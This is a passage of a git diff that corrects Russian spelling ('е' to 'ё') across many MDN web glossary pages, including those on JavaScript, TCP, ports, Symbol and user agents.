замыкаются в его пределах, и глобальная область видимости ими не засоряется.</p> -<p>Вторая часть создает мгновенно выполняющееся функциональное выражение <code>()</code> , благодаря которому JavaScript-движок выполняет функцию напрямую.</p> +<p>Вторая часть создаёт мгновенно выполняющееся функциональное выражение <code>()</code> , благодаря которому JavaScript-движок выполняет функцию напрямую.</p> <h2 id="Примеры">Примеры</h2> -<p>Функция становится мгновенно выполняющимся функциональным выражением. Переменные внутри функции не могут быть использованы за пределами ее области видимости.</p> +<p>Функция становится мгновенно выполняющимся функциональным выражением. Переменные внутри функции не могут быть использованы за пределами её области видимости.</p> <pre><code>(function () { var aName = "Barry"; diff --git a/files/ru/glossary/isp/index.html b/files/ru/glossary/isp/index.html index 306c905762..a784aa81e0 100644 --- a/files/ru/glossary/isp/index.html +++ b/files/ru/glossary/isp/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/ISP original_slug: Словарь/Интернет-провайдер --- -<p>ISP (Интернет-провайдер) продает доступ к интернету, а иногда и электронную почту, веб-хостинг и VoIP, либо путем установления соединения по телефонной линии (которая раньше была распространена), либо через широкополосное соединение, такое как кабельный модем или DSL-сервис. </p> +<p>ISP (Интернет-провайдер) продаёт доступ к интернету, а иногда и электронную почту, веб-хостинг и VoIP, либо путём установления соединения по телефонной линии (которая раньше была распространена), либо через широкополосное соединение, такое как кабельный модем или DSL-сервис. </p> <h2 id="Узнайте_больше">Узнайте больше</h2> diff --git a/files/ru/glossary/javascript/index.html b/files/ru/glossary/javascript/index.html index 1c80137ef1..81d827abf0 100644 --- a/files/ru/glossary/javascript/index.html +++ b/files/ru/glossary/javascript/index.html @@ -14,11 +14,11 @@ original_slug: Словарь/JavaScript <p>Задуманный Бренданом Эйхом (тогда работал в Netscape Corporation) как серверный язык, Javascript вскоре появился в Netscape Navigator 2.0 в сентябре 1995 года. JavaScript сразу же добился успеха и {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} представил поддержку JavaScript под названием JScript в августе 1996 года.</p> -<p>В ноябре 1996 года Netscape начала сотрудничать с ECMA International, чтобы сделать JavaScript отраслевым стандартом. С тех пор стандартизированный JavaScript называется ECMAScript и изложен в ECMA-262, чье последнее (девятое, ES2018) издание доступно с июня 2018 года.</p> +<p>В ноябре 1996 года Netscape начала сотрудничать с ECMA International, чтобы сделать JavaScript отраслевым стандартом. С тех пор стандартизированный JavaScript называется ECMAScript и изложен в ECMA-262, чьё последнее (девятое, ES2018) издание доступно с июня 2018 года.</p> <p>JavaScript в основном используется в браузере, что позволяет разработчикам манипулировать содержимым веб-страницы с помощью {{Glossary("DOM")}}, данными с помощью {{Glossary("AJAX")}} и {{Glossary("IndexedDB")}}, рисовать графику с помощью {{Glossary("canvas")}}, взаимодействовать с устройством под управлением браузера через различные {{Glossary("API","APIs")}} и т.д. JavaScript является одним из наиболее часто используемых языков в мире благодаря недавнему росту и повышению производительности доступных в браузерах {{Glossary ("API", "APIs")}}.</p> -<p>В последнее время популярность JavaScript расширилась еще больше благодаря успешной платформе <a href="http://nodejs.org/">Node.js</a> - самой популярной кроссплатформенной среде выполнения JavaScript вне браузера. Node.js позволяет разработчикам использовать JavaScript в качестве языка сценариев для автоматизации работы на ПК и создания полнофункциональных {{Glossary ("HTTP")}} и {{Glossary ("WebSockets")}} серверов.</p> +<p>В последнее время популярность JavaScript расширилась ещё больше благодаря успешной платформе <a href="http://nodejs.org/">Node.js</a> - самой популярной кроссплатформенной среде выполнения JavaScript вне браузера. Node.js позволяет разработчикам использовать JavaScript в качестве языка сценариев для автоматизации работы на ПК и создания полнофункциональных {{Glossary ("HTTP")}} и {{Glossary ("WebSockets")}} серверов.</p> <h2 id="Узнай_больше">Узнай больше</h2> diff --git a/files/ru/glossary/loop/index.html b/files/ru/glossary/loop/index.html index a19b8c592c..a7b297a16b 100644 --- a/files/ru/glossary/loop/index.html +++ b/files/ru/glossary/loop/index.html @@ -10,7 +10,7 @@ tags: translation_of: Glossary/loop original_slug: Словарь/loop --- -<p>Цикл - это последовательность инструкций, которая постоянно повторяется до тех пор, пока в {{Glossary('computer programming', 'программе')}} не будет выполнено определенное условие. Примером может служить процесс получения элемента данных, его последующего изменения, а затем проверки некоторых {{Glossary ('conditional', 'условий')}}, например, что счетчик достиг заданного числа.</p> +<p>Цикл - это последовательность инструкций, которая постоянно повторяется до тех пор, пока в {{Glossary('computer programming', 'программе')}} не будет выполнено определённое условие. Примером может служить процесс получения элемента данных, его последующего изменения, а затем проверки некоторых {{Glossary ('conditional', 'условий')}}, например, что счётчик достиг заданного числа.</p> <h2 id="Примеры">Примеры</h2> @@ -36,7 +36,7 @@ original_slug: Словарь/loop //Этот цикл будет печатать числа 0-9 и остановится, когда условие будет выполнено (i = 10) </pre> -<p>Для приведенного выше примера синтаксис выглядит следующим образом:</p> +<p>Для приведённого выше примера синтаксис выглядит следующим образом:</p> <ul> <li>Statement 1 устанавливает переменную для цикла (var i = 0).</li> @@ -67,7 +67,7 @@ while(i < 5){ //Этот цикл выведет числа 0-4 и остановится, когда условие станет ложным (i >=5) </pre> -<p>Для приведенного выше примера синтаксис выглядит следующим образом:</p> +<p>Для приведённого выше примера синтаксис выглядит следующим образом:</p> <ul> <li>Блок кода будет продолжать работать, пока переменная (i) меньше 5.</li> diff --git a/files/ru/glossary/object/index.html b/files/ru/glossary/object/index.html index bb8dafa4ba..4d0fe09917 100644 --- a/files/ru/glossary/object/index.html +++ b/files/ru/glossary/object/index.html @@ -12,7 +12,7 @@ tags: translation_of: Glossary/Object original_slug: Словарь/Object --- -<p><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">Объект</a> относится к структуре данных, содержит в себе данные и инструкции по работе с ними. Объекты могут обозначать реальные вещи, например: машину, яблоко, человека или даже карту к сокровищам с ее координатами и инструкциями о том, как добраться до этих сокровищ.<br> +<p><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">Объект</a> относится к структуре данных, содержит в себе данные и инструкции по работе с ними. Объекты могут обозначать реальные вещи, например: машину, яблоко, человека или даже карту к сокровищам с её координатами и инструкциями о том, как добраться до этих сокровищ.<br> <br> {{glossary("JavaScript")}}, Java, C++, Python, и Ruby это языки программирования которые относятся к объектно ориентированным языкам (ООП)</p> diff --git a/files/ru/glossary/php/index.html b/files/ru/glossary/php/index.html index 7fe12c9a16..a1db2d08a1 100644 --- a/files/ru/glossary/php/index.html +++ b/files/ru/glossary/php/index.html @@ -5,7 +5,7 @@ translation_of: Glossary/PHP original_slug: Словарь/PHP --- <dl> - <dd><acronym title="PHP: Hypertext Preprocessor">PHP</acronym>, расшифровывающийся как "<em>PHP: Hypertext Preprocessor</em>" - «PHP: Препроцессор Гипертекста», является распространенным интерпретируемым языком общего назначения с открытым исходным кодом. PHP создавался специально для ведения web-разработок и код на нем может внедряться непосредственно в HTML-код. Синтаксис языка берет начало из C, Java и Perl, и является легким для изучения. Основной целью PHP является предоставление web-разработчикам возможности быстрого создания динамически генерируемых web-страниц, однако область применения PHP не ограничивается только этим.</dd> + <dd><acronym title="PHP: Hypertext Preprocessor">PHP</acronym>, расшифровывающийся как "<em>PHP: Hypertext Preprocessor</em>" - «PHP: Препроцессор Гипертекста», является распространённым интерпретируемым языком общего назначения с открытым исходным кодом. PHP создавался специально для ведения web-разработок и код на нем может внедряться непосредственно в HTML-код. Синтаксис языка берет начало из C, Java и Perl, и является лёгким для изучения. Основной целью PHP является предоставление web-разработчикам возможности быстрого создания динамически генерируемых web-страниц, однако область применения PHP не ограничивается только этим.</dd> </dl> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/port/index.html b/files/ru/glossary/port/index.html index 7ad7227103..e5817fec9c 100644 --- a/files/ru/glossary/port/index.html +++ b/files/ru/glossary/port/index.html @@ -10,7 +10,7 @@ tags: translation_of: Glossary/Port original_slug: Словарь/Порт --- -<p>Для подключенного к сети компьютера с {{Glossary("IP address")}}, <strong>порт</strong> <span class="st">– </span> это конечная точка входа для коммуникаций. Порты обозначаются числами, и до 1024 каждому порту по умолчанию назначен некоторый протокол.</p> +<p>Для подключённого к сети компьютера с {{Glossary("IP address")}}, <strong>порт</strong> <span class="st">– </span> это конечная точка входа для коммуникаций. Порты обозначаются числами, и до 1024 каждому порту по умолчанию назначен некоторый протокол.</p> <p>Например, порт по умолчанию для протокола {{Glossary("HTTP")}} <span class="st">– </span> 80, а порт для протокола HTTPS <span class="st">– </span>443, таким образом {{Glossary("HTTP")}}-сервер ожидает входящие запросы на данных портах. Каждый интернет протокол имеет порт по умолчанию: {{Glossary("SMTP")}} (25), {{Glossary("POP3")}} (110), {{Glossary("IMAP")}} (143), {{Glossary("IRC")}} (194) и так далее.</p> diff --git a/files/ru/glossary/primitive/index.html b/files/ru/glossary/primitive/index.html index 6c04ad2aa4..39f3f3aac6 100644 --- a/files/ru/glossary/primitive/index.html +++ b/files/ru/glossary/primitive/index.html @@ -36,7 +36,7 @@ console.log(foo); // ["plugh"] bar = bar.toUpperCase(); // BAZ </pre> -<p><span id="result_box" lang="ru"><span>Примитив может быть заменен, но он не может быть напрямую изменен.</span></span></p> +<p><span id="result_box" lang="ru"><span>Примитив может быть заменён, но он не может быть напрямую изменен.</span></span></p> <h2 id="Другой_пример_Step-by-step">Другой пример [ Step-by-step ]</h2> @@ -70,20 +70,20 @@ console.log(foo); // 5 <ul> <li>При вызове обеих функций <code>addTwo</code> <code>и addTwo_v2</code>, JavaScript ищет <span class="short_text" id="result_box" lang="ru"><span>значение для идентификатора</span></span> <code>foo</code>. JavaScript <span id="result_box" lang="ru"><span>правильно определяет нашу переменную, созданную с помощью первого оператора</span></span></li> - <li><span id="result_box" lang="ru"><span>После этого JavaScript передает найденный аргумент в функцию в качестве параметра</span></span></li> - <li>Перед выполнением операторов в теле функции, <strong>JavaScript берет исходный переданный аргумент </strong>(который является примитивом) и создает его локальную копию. <span id="result_box" lang="ru"><span>Эти копии, существующие только внутри областей функций, доступны через идентификаторы, указанные в определениях функций</span></span> (<code>num</code> для <code>addTwo</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">foo</span></font> для <code>addTwo_v2</code>)</li> + <li><span id="result_box" lang="ru"><span>После этого JavaScript передаёт найденный аргумент в функцию в качестве параметра</span></span></li> + <li>Перед выполнением операторов в теле функции, <strong>JavaScript берет исходный переданный аргумент </strong>(который является примитивом) и создаёт его локальную копию. <span id="result_box" lang="ru"><span>Эти копии, существующие только внутри областей функций, доступны через идентификаторы, указанные в определениях функций</span></span> (<code>num</code> для <code>addTwo</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">foo</span></font> для <code>addTwo_v2</code>)</li> <li><span class="short_text" id="result_box" lang="ru"><span>Затем выполняются операторы функций</span></span>: <ul> <li>В первой функции был создан локальный аргумент <code>num</code>. <span id="result_box" lang="ru"><span>Мы увеличиваем его значение на 2</span></span> (а не значение исходной переменной <code>foo</code>).</li> <li>Во второй функции был создан локальный аргумент<code> foo</code>. Мы увеличиваем его значение на 2 (а не значение исходной (внешней) переменной <code>foo</code>). <span id="result_box" lang="ru"><span>Кроме того, в этой ситуации, внешняя переменная</span></span> <code>foo</code> является недоступной <strong>никаким</strong> способом. Это связано с лексическими областями JavaScript и, как следствие, с затенением переменных. Локальная переменная <code>foo</code> скрывает внешнюю переменную <code>foo</code>. Чтобы получить больше информации, смотри <a href="/en-US/docs/Web/JavaScript/Closures">Closures</a>.</li> </ul> </li> - <li>Таким образом, никакие изменения внутри наших функций <strong>не будут</strong> влиять на ИСХОДНУЮ <code>foo</code> вообще, так как мы работаем с ее <strong>копиями</strong></li> + <li>Таким образом, никакие изменения внутри наших функций <strong>не будут</strong> влиять на ИСХОДНУЮ <code>foo</code> вообще, так как мы работаем с её <strong>копиями</strong></li> </ul> -<p><span id="result_box" lang="ru"><span>Вот почему примитивы неизменяемы </span></span><strong>(immutable)</strong><span lang="ru"><span>.</span> <span>Потому что мы не работаем над ними напрямую. Мы создаем копию и продолжаем работать с ней, не касаясь исходных значений.</span></span></p> +<p><span id="result_box" lang="ru"><span>Вот почему примитивы неизменяемы </span></span><strong>(immutable)</strong><span lang="ru"><span>.</span> <span>Потому что мы не работаем над ними напрямую. Мы создаём копию и продолжаем работать с ней, не касаясь исходных значений.</span></span></p> -<h2 id="Обертки_примитивных_типов_в_JavaScript">Обертки примитивных типов в JavaScript</h2> +<h2 id="Обёртки_примитивных_типов_в_JavaScript">Обёртки примитивных типов в JavaScript</h2> <p>За исключением <code>null</code> и <code>undefined</code>, все примитивные значения имеют объектный аналог, который оборачивает значение примитивного типа:</p> @@ -94,7 +94,7 @@ console.log(foo); // 5 <li>{{jsxref("Symbol")}} для Symbol примитива.</li> </ul> -<p>Метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf"><code>valueOf()</code></a> типа обертки возвращает значение примитивного типа.</p> +<p>Метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf"><code>valueOf()</code></a> типа обёртки возвращает значение примитивного типа.</p> <h2 id="См._также">См. также</h2> diff --git a/files/ru/glossary/promise/index.html b/files/ru/glossary/promise/index.html index f3175a21c9..643f180604 100644 --- a/files/ru/glossary/promise/index.html +++ b/files/ru/glossary/promise/index.html @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Promise original_slug: Словарь/Promise --- -<p>A <strong>{{jsxref("Promise")}}</strong> - это {{Glossary("Object")}}, возвращаемый {{Glossary("function")}}, которая еще не завершила свою работу. Promise буквально представляет собой 'обещание' функции в итоге вернуть результат через объект промиса.</p> +<p>A <strong>{{jsxref("Promise")}}</strong> - это {{Glossary("Object")}}, возвращаемый {{Glossary("function")}}, которая ещё не завершила свою работу. Promise буквально представляет собой 'обещание' функции в итоге вернуть результат через объект промиса.</p> <p>Когда вызванная функция {{Glossary("asynchronous", "asynchronously")}} завершает работу, вызывается функция объекта промиса, называемая обработчиком решения (или выполнения, или завершения) чтобы исходный объект вызова знал, что задача выполнена</p> diff --git a/files/ru/glossary/reflow/index.html b/files/ru/glossary/reflow/index.html index 155463a80c..3626b5569f 100644 --- a/files/ru/glossary/reflow/index.html +++ b/files/ru/glossary/reflow/index.html @@ -1,10 +1,10 @@ --- -title: Пересчет (Reflow) +title: Пересчёт (Reflow) slug: Glossary/Reflow translation_of: Glossary/Reflow original_slug: Словарь/Reflow --- -<p><strong>Пересчет</strong> (<em>Reflow</em>) происходит, когда {{glossary("браузер")}} <span class="tlid-translation translation" lang="ru"><span title="">должен снова обработать и отрисовать часть или всю веб-страницу, например, после изменения размера какого-нибудь блока или изменения его позиции на интерактивном сайте.</span></span></p> +<p><strong>Пересчёт</strong> (<em>Reflow</em>) происходит, когда {{glossary("браузер")}} <span class="tlid-translation translation" lang="ru"><span title="">должен снова обработать и отрисовать часть или всю веб-страницу, например, после изменения размера какого-нибудь блока или изменения его позиции на интерактивном сайте.</span></span></p> <h2 id="Learn_more">Learn more</h2> diff --git a/files/ru/glossary/regular_expression/index.html b/files/ru/glossary/regular_expression/index.html index 674f816436..21fc5da71d 100644 --- a/files/ru/glossary/regular_expression/index.html +++ b/files/ru/glossary/regular_expression/index.html @@ -8,7 +8,7 @@ original_slug: Словарь/Regular_expression --- <p><strong>Регулярные выражения</strong> (<em>regex</em>) - это правила, определяющие, какие последовательности символов появляются в поиске.<br> <br> - Регулярные выражения реализованы в разных языках, но наиболее известной является реализация в Perl, которая породила собственную экосистему реализаций, называемых PCRE (<em>Perl Compatible Regular Expression</em>). В Интернете {{glossary("JavaScript")}} предоставляет еще одну реализацию регулярных выражений через объект {{jsxref("RegExp")}}.</p> + Регулярные выражения реализованы в разных языках, но наиболее известной является реализация в Perl, которая породила собственную экосистему реализаций, называемых PCRE (<em>Perl Compatible Regular Expression</em>). В Интернете {{glossary("JavaScript")}} предоставляет ещё одну реализацию регулярных выражений через объект {{jsxref("RegExp")}}.</p> <h2 id="Материалы_для_изучения">Материалы для изучения</h2> diff --git a/files/ru/glossary/round_trip_time_(rtt)/index.html b/files/ru/glossary/round_trip_time_(rtt)/index.html index 4bdd00fc4f..85376bd4fe 100644 --- a/files/ru/glossary/round_trip_time_(rtt)/index.html +++ b/files/ru/glossary/round_trip_time_(rtt)/index.html @@ -4,7 +4,7 @@ slug: Glossary/Round_Trip_Time_(RTT) translation_of: Glossary/Round_Trip_Time_(RTT) original_slug: Словарь/Round_Trip_Time_(RTT) --- -<p><strong>Время приема-передачи</strong> (англ. Round Trip Time, RTT) - это время, которое требуется для отправки пакета данных в пункт назначения, плюс время, которое требуется для подтверждения того, что этот пакет был получен обратно. RTT между сетью и сервером может быть определен с помощью команды <code>ping</code>.</p> +<p><strong>Время приёма-передачи</strong> (англ. Round Trip Time, RTT) - это время, которое требуется для отправки пакета данных в пункт назначения, плюс время, которое требуется для подтверждения того, что этот пакет был получен обратно. RTT между сетью и сервером может быть определён с помощью команды <code>ping</code>.</p> <div> <pre class="brush: unix">$ ping google.com @@ -18,7 +18,7 @@ PING google.com (216.58.194.174): 56 data bytes 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms</pre> -<p>В приведенном выше примере среднее время приема-передачи, как показано в последней строке, равно 26,8 мс.</p> +<p>В приведённом выше примере среднее время приёма-передачи, как показано в последней строке, равно 26,8 мс.</p> </div> <h2 id="См._также">См. также</h2> diff --git a/files/ru/glossary/semantics/index.html b/files/ru/glossary/semantics/index.html index f893f3f431..80e22bc782 100644 --- a/files/ru/glossary/semantics/index.html +++ b/files/ru/glossary/semantics/index.html @@ -4,7 +4,7 @@ slug: Glossary/Semantics translation_of: Glossary/Semantics original_slug: Словарь/Semantics --- -<p><span class="seoSummary">В программировании, <strong>Семантика</strong> означает <em>значение</em> фрагмента кода - например, «к какому результату приведет выполнение этой строки JavaScript?», или «каково предназначение или какая роль у этого элемента HTML» (а не «как он выглядит ?».)</span></p> +<p><span class="seoSummary">В программировании, <strong>Семантика</strong> означает <em>значение</em> фрагмента кода - например, «к какому результату приведёт выполнение этой строки JavaScript?», или «каково предназначение или какая роль у этого элемента HTML» (а не «как он выглядит ?».)</span></p> <h2 id="Семантика_в_JavaScript">Семантика в JavaScript</h2> @@ -16,11 +16,11 @@ original_slug: Словарь/Semantics <h2 id="Семантика_в_HTML">Семантика в HTML</h2> -<p>В HTML, например, элемент {{htmlelement("h1")}} является семантическим, что дает тексту внутри него роль (или значение) "заголовка первого уровня на вашей странице".</p> +<p>В HTML, например, элемент {{htmlelement("h1")}} является семантическим, что даёт тексту внутри него роль (или значение) "заголовка первого уровня на вашей странице".</p> <pre class="brush: html"><h1>This is a top level heading</h1></pre> -<p>По умолчанию, <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">стандартные стили</a> большинства браузеров зададут {{htmlelement("h1")}} большой размер шрифта, чтобы он <em>выглядел</em> как заголовок (хотя вы можете стилизировать его так, как сочтете нужным).</p> +<p>По умолчанию, <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">стандартные стили</a> большинства браузеров зададут {{htmlelement("h1")}} большой размер шрифта, чтобы он <em>выглядел</em> как заголовок (хотя вы можете стилизировать его так, как сочтёте нужным).</p> <p>С другой стороны, вы можете сделать любой элемент <em>похожим</em> на заголовок первого уровня. Рассмотрим следующее:</p> diff --git a/files/ru/glossary/seo/index.html b/files/ru/glossary/seo/index.html index 0582a8fa1b..f44eedaffc 100644 --- a/files/ru/glossary/seo/index.html +++ b/files/ru/glossary/seo/index.html @@ -4,13 +4,13 @@ slug: Glossary/SEO translation_of: Glossary/SEO original_slug: Словарь/SEO --- -<p><strong>SEO </strong>(Search Engine Optimization) Поисковая оптимизация - это комплекс мер по оптимизации, для поднятия сайта в рейтингах поисковых систем. Её еще называют "Повышением поискового рейтинга" </p> +<p><strong>SEO </strong>(Search Engine Optimization) Поисковая оптимизация - это комплекс мер по оптимизации, для поднятия сайта в рейтингах поисковых систем. Её ещё называют "Повышением поискового рейтинга" </p> -<p>Поисковые системы исследуют интернет, переходят по ссылкам со страницы на страницу и индексируют найденный контент. Когда вы ищите что то в интернете, поисковые системы отображают индексированный контент. Сканнеры пользуются определенными алгоритмами. Если вы будете знать и внимательно следовать этим правилам, когда внедряете SEO для сайта, у такого сайта будут более высокие шансы оказаться в числе первых результатов поискового запроса, а следовательно - более высокий трафик и, как следствие - доход (для интернет продаж и рекламы).</p> +<p>Поисковые системы исследуют интернет, переходят по ссылкам со страницы на страницу и индексируют найденный контент. Когда вы ищите что то в интернете, поисковые системы отображают индексированный контент. Сканнеры пользуются определёнными алгоритмами. Если вы будете знать и внимательно следовать этим правилам, когда внедряете SEO для сайта, у такого сайта будут более высокие шансы оказаться в числе первых результатов поискового запроса, а следовательно - более высокий трафик и, как следствие - доход (для интернет продаж и рекламы).</p> <p>Поисковые системы дают некоторые рекомендации для SEO, но большие поисковые системы сохраняют алгоритмы и результаты поиска как коммерческую тайну. SEO объединяет в себе рекомендации поисковых систем содержащиеся в свободном доступе, эмпирический опыт и теоретические знания, подчерпываемые из научных статей и патентов.</p> -<p>Методы SEO делятся на три объемных класса:</p> +<p>Методы SEO делятся на три объёмных класса:</p> <dl> <dt>технический</dt> diff --git a/files/ru/glossary/sloppy_mode/index.html b/files/ru/glossary/sloppy_mode/index.html index 6d3dbbc743..b123302698 100644 --- a/files/ru/glossary/sloppy_mode/index.html +++ b/files/ru/glossary/sloppy_mode/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Sloppy_mode original_slug: Словарь/Sloppy_mode --- -<p>{{Glossary("ECMAScript")}} 5 и более поздние версии выполняют скрипты в <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Строгом режиме</a>, который определенным образом изменяет семантику JavaScript для улучшения стабильности, и который упрощает понимание того, что происходит в программе при возникновении проблем.</p> +<p>{{Glossary("ECMAScript")}} 5 и более поздние версии выполняют скрипты в <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Строгом режиме</a>, который определённым образом изменяет семантику JavaScript для улучшения стабильности, и который упрощает понимание того, что происходит в программе при возникновении проблем.</p> <p>Обычный, нестрогий, режим выполнения JavaScript иногда называется <strong>Грязным режимом </strong>(Sloppy mode). Это неофициальное название, но вы, вероятно, сталкивались с ним при серьёзной разработке на JavaScript.</p> diff --git a/files/ru/glossary/symbol/index.html b/files/ru/glossary/symbol/index.html index 355d8f2e53..d5e3b4443a 100644 --- a/files/ru/glossary/symbol/index.html +++ b/files/ru/glossary/symbol/index.html @@ -4,16 +4,16 @@ slug: Glossary/Symbol translation_of: Glossary/Symbol original_slug: Словарь/Symbol --- -<p>На этой странице описывается тип данных «символ» и функция «{{jsxref("Symbol")}}<code>()</code>», которая (среди прочего) создает экземпляры типа «символ».</p> +<p>На этой странице описывается тип данных «символ» и функция «{{jsxref("Symbol")}}<code>()</code>», которая (среди прочего) создаёт экземпляры типа «символ».</p> <p><strong>Symbol</strong><strong> </strong>(Символ) — примитивный тип данных, экземпляры которого уникальны и неизменяемы. В некоторых языках программирования символы также называются атомами.</p> -<p>В среде выполнения JavaScript значение «символа» создается путем вызова функции Symbol (), которая динамически создает анонимное и уникальное значение. Единственное разумное использование — сохранить символ, а затем использовать сохраненное значение для создания свойства объекта. Следующий пример хранит символ в «var».</p> +<p>В среде выполнения JavaScript значение «символа» создаётся путём вызова функции Symbol (), которая динамически создаёт анонимное и уникальное значение. Единственное разумное использование — сохранить символ, а затем использовать сохранённое значение для создания свойства объекта. Следующий пример хранит символ в «var».</p> <pre class="brush: js">var myPrivateMethod = Symbol(); this[myPrivateMethod] = function() {...};</pre> -<p>Когда символ используется как идентификатор в присваивании свойства, свойство (например, символ) является анонимным; а также не исчислимым. Поскольку свойство не исчислимо, оно не будет отображаться в цикле «for (... in ...)», и поскольку свойство является анонимным, оно не будет отображаться в массиве результатов "Object.getOwnPropertyNames ()". Доступ к этому свойству можно получить с помощью исходного значения символа, создавшего его, или путем итерирования в массиве результатов «Object.getOwnPropertySymbols ()». В предыдущем примере кода доступ к свойству будет осуществляться через значение, которое было сохранено в переменной myPrivateMethod.</p> +<p>Когда символ используется как идентификатор в присваивании свойства, свойство (например, символ) является анонимным; а также не исчислимым. Поскольку свойство не исчислимо, оно не будет отображаться в цикле «for (... in ...)», и поскольку свойство является анонимным, оно не будет отображаться в массиве результатов "Object.getOwnPropertyNames ()". Доступ к этому свойству можно получить с помощью исходного значения символа, создавшего его, или путём итерирования в массиве результатов «Object.getOwnPropertySymbols ()». В предыдущем примере кода доступ к свойству будет осуществляться через значение, которое было сохранено в переменной myPrivateMethod.</p> <h2 id="Узнать_больше">Узнать больше</h2> diff --git a/files/ru/glossary/tag/index.html b/files/ru/glossary/tag/index.html index b782b715ea..60a39ba7b6 100644 --- a/files/ru/glossary/tag/index.html +++ b/files/ru/glossary/tag/index.html @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Tag original_slug: Словарь/Тег --- -<p>В {{Glossary("HTML")}} теги используются для создания {{Glossary("Элемент", "элементов")}}. <strong>Имя</strong> HTML элемента - это <strong>имя</strong> заключенное в угловые скобки, как например <p> для "абзаца". Обратите внимание, что концу <strong>имени</strong> предшествует символ косой черты (слеша), "</p>", и что в пустых элементах закрывающий тег не требуется и не допускается. Если атрибуты не указаны, то для них применяются значения по умолчанию. </p> +<p>В {{Glossary("HTML")}} теги используются для создания {{Glossary("Элемент", "элементов")}}. <strong>Имя</strong> HTML элемента - это <strong>имя</strong> заключённое в угловые скобки, как например <p> для "абзаца". Обратите внимание, что концу <strong>имени</strong> предшествует символ косой черты (слеша), "</p>", и что в пустых элементах закрывающий тег не требуется и не допускается. Если атрибуты не указаны, то для них применяются значения по умолчанию. </p> <h2 id="Узнать_больше"><strong>Узнать больше</strong></h2> diff --git a/files/ru/glossary/tcp/index.html b/files/ru/glossary/tcp/index.html index 5fce8d8bbf..0a3c72fd21 100644 --- a/files/ru/glossary/tcp/index.html +++ b/files/ru/glossary/tcp/index.html @@ -10,7 +10,7 @@ tags: translation_of: Glossary/TCP original_slug: Словарь/TCP --- -<p id="Summary"><strong>TCP (Протокол Управления Передачей)</strong> - важный {{Glossary("protocol", "протокол")}} сети интернет, который позволяет двум хостам создать соединение и обмениваться потоками данных. TCP гарантирует доставку данных и пакетов в том же порядке, в котором они были отправлены. Винт Серф и Боб Кан, которые в то время были учеными DARPA, разработали TCP в 1970-х годах.</p> +<p id="Summary"><strong>TCP (Протокол Управления Передачей)</strong> - важный {{Glossary("protocol", "протокол")}} сети интернет, который позволяет двум хостам создать соединение и обмениваться потоками данных. TCP гарантирует доставку данных и пакетов в том же порядке, в котором они были отправлены. Винт Серф и Боб Кан, которые в то время были учёными DARPA, разработали TCP в 1970-х годах.</p> <p>Роль TCP заключается в обеспечении надёжной доставки пакетов без ошибок. TCP имеет контроль перегрузки, что означает, что первые пакеты начинаются с небольшого размера, увеличиваясь в размерах до уровней пропускной способности, которую могут поддерживать компьютеры, серверы и сеть.</p> diff --git a/files/ru/glossary/time_to_interactive/index.html b/files/ru/glossary/time_to_interactive/index.html index e4c40b18cb..06a5830a13 100644 --- a/files/ru/glossary/time_to_interactive/index.html +++ b/files/ru/glossary/time_to_interactive/index.html @@ -10,7 +10,7 @@ original_slug: Словарь/Time_to_interactive <h4 id="Предостережение">Предостережение</h4> -<p>TTI получается путем использования информации из {{domxref("Long Tasks API")}}. Несмотря на то, что TTI доступен в некоторых инструментах мониторинга производительности, на момент написания этой статьи он не является частью какой-либо официальной веб-спецификации.</p> +<p>TTI получается путём использования информации из {{domxref("Long Tasks API")}}. Несмотря на то, что TTI доступен в некоторых инструментах мониторинга производительности, на момент написания этой статьи он не является частью какой-либо официальной веб-спецификации.</p> <h2 id="См.также">См.также</h2> diff --git a/files/ru/glossary/user_agent/index.html b/files/ru/glossary/user_agent/index.html index 00cf160b1b..4e67bb4ef4 100644 --- a/files/ru/glossary/user_agent/index.html +++ b/files/ru/glossary/user_agent/index.html @@ -6,7 +6,7 @@ original_slug: Словарь/User_agent --- <p><span class="seoSummary"><strong>Пользовательский агент</strong> (<em>user agent</em>, UA), или <strong>агент пользователя</strong>, это компьютерная программа, представляющая пользователя и выполняющая действия от его лица, например, {{Glossary("Browser","браузер")}} в контексте {{Glossary("World Wide Web", "Всемирной паутины")}}.</span></p> -<p>Агентом пользователя может быть не только браузер, но и бот, удаляющий веб-страницы, менеджер закачек или другое приложение, использующее Веб. Выполняя запросы к серверу, браузеры, чтобы была возможность их идентифицировать, снабжают каждый запрос так называемой строкой пользовательского агента (UA-строкой), завернутой в {{Glossary("HTTP")}}-заголовок <code>User-Agent</code>. Это строка идентифицирует браузер, сообщает номер его версии и информацию об операционной системе.</p> +<p>Агентом пользователя может быть не только браузер, но и бот, удаляющий веб-страницы, менеджер закачек или другое приложение, использующее Веб. Выполняя запросы к серверу, браузеры, чтобы была возможность их идентифицировать, снабжают каждый запрос так называемой строкой пользовательского агента (UA-строкой), завёрнутой в {{Glossary("HTTP")}}-заголовок <code>User-Agent</code>. Это строка идентифицирует браузер, сообщает номер его версии и информацию об операционной системе.</p> <p>Спам-боты, менеджеры закачек и некоторые браузеры нередко шлют подложные UA-строки, чтобы выдать себя за другие клиенты. Эта ситуация известна под названием <em>подмена или подделка пользовательского агента</em> (<em>user agent spoofing</em>).</p> diff --git a/files/ru/glossary/variable/index.html b/files/ru/glossary/variable/index.html index 19580eac37..99addb1254 100644 --- a/files/ru/glossary/variable/index.html +++ b/files/ru/glossary/variable/index.html @@ -6,7 +6,7 @@ tags: translation_of: Glossary/Variable original_slug: Словарь/Variable --- -<p><span class="_Tgc"><strong>Переменная</strong> — именованная часть памяти, в которую 